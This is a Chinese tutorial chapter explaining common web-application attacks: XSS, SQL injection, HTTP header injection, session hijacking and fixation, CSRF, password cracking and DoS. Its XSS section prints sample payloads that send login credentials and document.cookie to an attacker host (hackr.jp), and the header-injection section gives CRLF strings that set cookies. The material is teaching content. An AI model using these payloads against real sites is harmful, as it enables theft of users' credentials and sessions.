前言
互聯網上的攻擊大都將 Web 站點作為目標。 本章講解具體有哪些攻擊 Web 站點的手段, 以及攻擊會造成怎樣的影響
簡單的 HTTP 協議本身并不存在安全性問題, 因此協議本身幾乎不會成為攻擊的對象。 應用 HTTP 協議的服務器和客戶端, 以及運行在服務器上的 Web 應用等資源才是攻擊目標。
HTTP 不具備必要的安全功能
在客戶端即可篡改請求
在 Web 應用中, 從瀏覽器那接收到的 HTTP 請求的全部內容, 都可以在客戶端自由地變更、 篡改。 所以 Web 應用可能會接收到與預期數據不相同的內容。
在 HTTP 請求報文內加載攻擊代碼, 就能發起對 Web 應用的攻擊。通過 URL查詢字段或表單、 HTTP 首部、 Cookie 等途徑把攻擊代碼傳入, 若這時 Web 應用存在安全漏洞, 那內部信息就會遭到竊取, 或被攻擊者拿到管理權限
針對 Web 應用的攻擊模式
對 Web 應用的攻擊模式有以下兩種。
以服務器為目標的主動攻擊
主動攻擊(active attack) 是指攻擊者通過直接訪問 Web 應用,把攻擊代碼傳入的攻擊模式。 由于該模式是直接針對服務器上的資源進行攻擊, 因此攻擊者需要能夠訪問到那些資源。
以服務器為目標的被動攻擊
被動攻擊(passive attack) 是指利用圈套策略執行攻擊代碼的攻擊模式。 在被動攻擊過程中, 攻擊者不直接對目標 Web 應用訪問發起攻擊。
被動攻擊通常的攻擊模式如下所示。
步驟 1: 攻擊者誘使用戶觸發已設置好的陷阱, 而陷阱會啟動發送已嵌入攻擊代碼的 HTTP 請求。
步驟 2: 當用戶不知不覺中招之后, 用戶的瀏覽器或郵件客戶端就會觸發這個陷阱。
步驟 3: 中招后的用戶瀏覽器會把含有攻擊代碼的 HTTP 請求發送給作為攻擊目標的 Web 應用, 運行攻擊代碼。
步驟 4: 執行完攻擊代碼, 存在安全漏洞的 Web 應用會成為攻擊者的跳板, 可能導致用戶所持的 Cookie 等個人信息被竊取,登錄狀態中的用戶權限遭惡意濫用等后果。
被動攻擊模式中具有代表性的攻擊是跨站腳本攻擊和跨站點請求偽造。
因輸出值轉義不完全引發的安全漏洞
實施 Web 應用的安全對策可大致分為以下兩部分。客戶端的驗證 Web 應用端( 服務器端) 的驗證輸入值驗證輸出值轉義
多數情況下采用 Javascript 在客戶端驗證數據。 可是在客戶端允許篡改數據或關閉 Javascript, 不適合將 Javascript 驗證作為安全的防范對策。 保留客戶端驗證只是為了盡早地辨識輸入錯誤, 起到提高 UI體驗的作用。
Web 應用端的輸入值驗證按 Web 應用內的處理則有可能被誤認為是具有攻擊性意義的代碼。 輸入值驗證通常是指檢查是否是符合系統業務邏輯的數值或檢查字符編碼等預防對策。
從數據庫或文件系統、 HTML、 郵件等輸出 Web 應用處理的數據之際, 針對輸出做值轉義處理是一項至關重要的安全策略。 當輸出值轉義不完全時, 會因觸發攻擊者傳入的攻擊代碼, 而給輸出對象帶來損害。
跨站腳本攻擊XSS
跨站腳本攻擊(Cross-Site scripting, XSS) 是指通過存在安全漏洞的Web 網站注冊用戶的瀏覽器內運行非法的 HTML標簽或 Javascript 進行的一種攻擊。 動態創建的 HTML部分有可能隱藏著安全漏洞。 就這樣, 攻擊者編寫腳本設下陷阱, 用戶在自己的瀏覽器上運行時, 一不小心就會受到被動攻擊。
跨站腳本攻擊有可能造成以下影響。
XSS實例
初始XSS
此時的確認界面上, 瀏覽器會把用戶輸入的 <s>
解析成 HTML標簽, 然后顯示刪除線。
嚴重的例子——盜取用戶個人信息
網站通過地址欄中 URI 的查詢字段指定 ID, 即相當于在表單內自動填寫字符串的功能。 而就在這個地方, 隱藏著可執行跨站腳本攻擊的漏洞。
對請求時對應的HTML源代碼(摘錄)
<div class="logo"><img src="/img/logo.gif" alt="E! 拍賣會" /></div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"> ID <input type="text" name="ID" value="yama" />
</div>
充分熟知此處漏洞特點的攻擊者, 于是就創建了下面這段嵌入惡意代碼的 URL。 并隱藏植入事先準備好的欺詐郵件中或 Web 頁面內, 誘使用戶去點擊該 URL。
http://example.jp/login?ID= "> <script> var +f=document.getElementById("login"); +f.action="http://hackr.jp/pwget; f.method="get"; </script> <span+s="
<div class="logo"><img src="/img/logo.gif" alt="E! 拍賣會 /></div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id"> ID <input type="text" name="ID" value=" "> <script> var f=document.getElementById("login"); f.action="http://hackr.jp/pwget; f.method="get"; </script> <span s=" "/>
</div>
瀏覽器打開該 URI 后, 直觀感覺沒有發生任何變化, 但設置好的腳本卻偷偷開始運行了。 當用戶在表單內輸入 ID 和密碼之后,就會直接發送到攻擊者的網站(也就是 hackr.jp) , 導致個人登錄信息被竊取
對用戶 Cookie 的竊取攻擊
除了在表單中設下圈套之外, 下面那種惡意構造的腳本同樣能夠以跨站腳本攻擊的方式, 竊取到用戶的 Cookie 信息。
<script src=http://hackr.jp/xss.js></script>
該腳本內指定的 http://hackr.jp/xss.js 文件。 即下面這段采用Javascript 編寫的代碼。
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);document.write(">");
在存在可跨站腳本攻擊安全漏洞的 Web 應用上執行上面這段Javascript 程序, 即可訪問到該 Web 應用所處域名下的 Cookie 信息。 然 后這些信息會發送至攻擊者的 Web 網站(http://hackr.jp/) , 記錄在他的登錄日志中。 結果, 攻擊者就這樣竊取到用戶的 Cookie 信息了。
SQL 注入攻擊
SQL注入(SQL Injection) 是指針對 Web 應用使用的數據庫, 通過運行非法的 SQL而產生的攻擊。 該安全隱患有可能引發極大的威脅, 有時會直接導致個人信息及機密信息的泄露。
Web 應用通常都會用到數據庫, 當需要對數據庫表內的數據進行檢索或添加、 刪除等操作時, 會使用 SQL語句連接數據庫進行特定的操作。 如果在調用 SQL語句的方式上存在疏漏, 就有可能執行被惡意注入(Injection) 非法 SQL語句。
SQL注入攻擊有可能會造成以下等影響
非法查看或篡改數據庫內的數據
規避認證
執行和數據庫服務器業務關聯的程序等
實例
本案例中的問題僅僅是把未出版書籍的條目也一同顯示出來了。但實際發生 SQL注入攻擊時, 很有可能會導致用戶信息或結算內容等其他數據表的非法瀏覽及篡改, 從而使用戶遭受不同程度的損失。
HTTP 首部注入攻擊
HTTP 首部注入攻擊(HTTP Header Injection) 是指攻擊者通過在響應首部字段內插入換行, 添加任意響應首部或主體的一種攻擊。 屬于被動攻擊模式。向首部主體內添加內容的攻擊稱為 HTTP 響應截斷攻擊(HTTPResponse Splitting Attack) 。
如下所示, Web 應用有時會把從外部接收到的數值, 賦給響應首部字段 Location 和 Set-Cookie。
HTTP 首部注入可能像這樣, 通過在某些響應首部字段需要處理輸出值的地方, 插入換行發動攻擊。
HTTP 首部注入攻擊有可能會造成以下一些影響。
設置任何 Cookie 信息
重定向至任意 URL
顯示任意的主體( HTTP 響應截斷攻擊)
HTTP 首部注入攻擊案例
攻擊者以下面的內容替代之前的類別 ID 后發送請求。
- Location: http://example.com/?cat=101(%0D%0A : 換行符)
- Set-Cookie: SID=123456789
此刻, 首部字段 Set-Cookie 已生效, 因此攻擊者可指定修改任意的 Cookie 信息。 通過和會話固定攻擊(攻擊者可使用指定的會話 ID) 攻擊組合, 攻擊者可偽裝成用戶。攻擊者輸入的 %0D%0A, 原本應該屬于首部字段 Location 的查詢值部分, 但經過解析后, %0D%0A 變成了換行符, 結果插入了新的首部字段。這樣一來, 攻擊者可在響應中插入任意的首部字段。
HTTP 響應截斷攻擊
HTTP 響應截斷攻擊是用在 HTTP 首部注入的一種攻擊。 攻擊順序相同, 但是要將兩個 %0D%0A%0D%0A 并排插入字符串后發送。 利用這兩個連續的換行就可作出 HTTP 首部與主體分隔所需的空行了, 這樣就能顯示偽造的主體, 達到攻擊目的。 這樣的攻擊叫做 HTTP 響應截斷攻擊。
- Set-Cookie: UID=(%0D%0A : 換行符)
- (%0D%0A : 換行符)
- <HTML><HEAD><TITLE>之后, 想要顯示的網頁內容 <!--(原來頁面對應的首部字
因會話管理疏忽引發的安全漏洞
會話劫持
會話劫持(Session Hijack) 是指攻擊者通過某種手段拿到了用戶的會話 ID, 并非法使用此會話 ID 偽裝成用戶, 達到攻擊的目的
。
具備認證功能的 Web 應用, 使用會話 ID 的會話管理機制, 作為管理認證狀態的主流方式。 會話 ID 中記錄客戶端的 Cookie 等信息, 服務器端將會話 ID 與認證狀態進行一對一匹配管理。
下面列舉了幾種攻擊者可獲得會話 ID 的途徑。
會話劫持攻擊案例
我們以認證功能為例講解會話劫持。 這里的認證功能通過會話管理機制, 會將成功認證的用戶的會話 ID(SID) 保存在用戶瀏覽器的 Cookie 中。
攻擊者在得知該 Web 網站存在可跨站攻擊(XSS) 的安全漏洞后, 就設置好用 Javascript 腳本調用 document.cookie 以竊取Cookie 信息的陷阱, 一旦用戶踏入陷阱(訪問了該腳本) , 攻擊者就能獲取含有會話 ID 的 Cookie。
攻擊者拿到用戶的會話 ID 后, 往自己的瀏覽器的 Cookie 中設置該會話 ID, 即可偽裝成會話 ID 遭竊的用戶, 訪問 Web 網站了。
會話固定攻擊
對以竊取目標會話 ID 為主動攻擊手段的會話劫持而言, 會話固定攻擊(Session Fixation) 攻擊會強制用戶使用攻擊者指定的會話 ID, 屬于被動攻擊。
會話固定攻擊案例
這個 Web 網站的認證功能, 會在認證前發布一個會話 ID, 若認證成功, 就會在服務器內改變認證狀態。
攻擊者準備陷阱, 先訪問 Web 網站拿到會話ID(SID=f5d1278e8109) 。 此刻, 會話 ID 在服務器上的記錄仍是(未認證) 狀態。 (步驟① ~ ②)
攻擊者設置好強制用戶使用該會話 ID 的陷阱, 并等待用戶拿著這個會話 ID 前去認證。 一旦用戶觸發陷阱并完成認證, 會話ID(SID=f5d1278e8109) 在服務器上的狀態(用戶 A 已認證) 就會被記錄下來。 (步驟③)
攻擊者估計用戶差不多已觸發陷阱后, 再利用之前這個會話 ID訪問網站。 由于該會話 ID 目前已是(用戶 A 已認證) 狀態, 于是攻擊者作為用戶 A 的身份順利登錄網站。 (步驟④)
Session Adoption
跨站點請求偽造CSRF
跨站點請求偽造(Cross-Site Request Forgeries, CSRF) 攻擊是指攻擊者通過設置好的陷阱, 強制對已完成認證的用戶進行非預期的個人信息或設定信息等某些狀態更新, 屬于被動攻擊。
跨站點請求偽造有可能會造成以下等影響。
利用已通過認證的用戶權限更新設定信息等
利用已通過認證的用戶權限購買商品
利用已通過認證的用戶權限在留言板上發表言論
跨站點請求偽造的攻擊案例
下面以留言板功能為例, 講解跨站點請求偽造。 該功能只允許已認證并登錄的用戶在留言板上發表內容。
在該留言板系統上, 受害者用戶 A 是已認證狀態。 它的瀏覽器中的 Cookie 持有已認證的會話 ID(步驟①) 。
攻擊者設置好一旦用戶訪問, 即會發送在留言板上發表非主觀行為產生的評論的請求的陷阱。 用戶 A 的瀏覽器執行完陷阱中的請求后, 留言板上也就會留下那條評論(步驟②) 。
觸發陷阱之際, 如果用戶 A 尚未通過認證, 則無法利用用戶 A的身份權限在留言板上發表內容
其他安全漏洞
密碼破解
密碼破解攻擊(Password Cracking) 即算出密碼, 突破認證。 攻擊不僅限于 Web 應用, 還包括其他的系統(如 FTP 或 SSH 等) , 本節將會講解對具備認證功能的 Web 應用進行的密碼破解。
密碼破解有以下兩種手段。
通過網絡進行密碼試錯
對 Web 應用提供的認證功能, 通過網絡嘗試候選密碼進行的一種攻擊。 主要有以下兩種方式。
窮舉法
字典攻擊
利用別處泄露的 ID·密碼進行攻擊字典攻擊中有一種利用其他 Web 網站已泄露的 ID 及密碼列表進行的攻擊。 很多用戶習慣隨意地在多個 Web 網站使用同一套 ID 及密碼, 因此攻擊會有相當高的成功幾率
對已加密密碼的破解
Web 應用在保存密碼時, 一般不會直接以明文的方式保存, 通過散列函數做散列處理或加 salt 的手段對要保存的密碼本身加密。那即使攻擊者使用某些手段竊取密碼數據, 如果想要真正使用這些密碼, 則必須先通過解碼等手段, 把加密處理的密碼還原成明文形式。
從加密過的數據中導出明文通常有以下幾種方法。
通過窮舉法·字典攻擊進行類推
彩虹表
拿到密鑰
加密算法的漏洞
通過窮舉法·字典攻擊進行類推
彩虹表
彩虹表(Rainbow Table) 是由明文密碼及與之對應的散列值構成的一張數據庫表, 是一種通過事先制作龐大的彩虹表, 可在窮舉法 • 字典攻擊等實際破解過程中縮短消耗時間的技巧。 從彩虹表內搜索散列值就可以推導出對應的明文密碼
拿到密鑰
使用共享密鑰加密方式對密碼數據進行加密處理的情況下, 如果能通過某種手段拿到加密使用的密鑰, 也就可以對密碼數據解密了。
加密算法的漏洞
考慮到加密算法本身可能存在的漏洞, 利用該漏洞嘗試解密也是一種可行的方法。 但是要找到那些已廣泛使用的加密算法的漏洞, 又談何容易, 因此困難極大, 不易成功。而 Web 應用開發者獨立實現的加密算法, 想必尚未經過充分的驗證, 還是很有可能存在漏洞的
DoS 攻擊
DoS 攻擊(Denial of Service attack) 是一種讓運行中的服務呈停止狀態的攻擊。 有時也叫做服務停止攻擊或拒絕服務攻擊。 DoS 攻擊的對象不僅限于 Web 網站, 還包括網絡設備及服務器等。
主要有以下兩種 DoS 攻擊方式。
其中, 集中利用訪問請求的 DoS 攻擊, 單純來講就是發送大量的合法請求。 服務器很難分辨何為正常請求, 何為攻擊請求, 因此很難防止 DoS 攻擊。
該文章在 2023/10/30 10:52:38 編輯過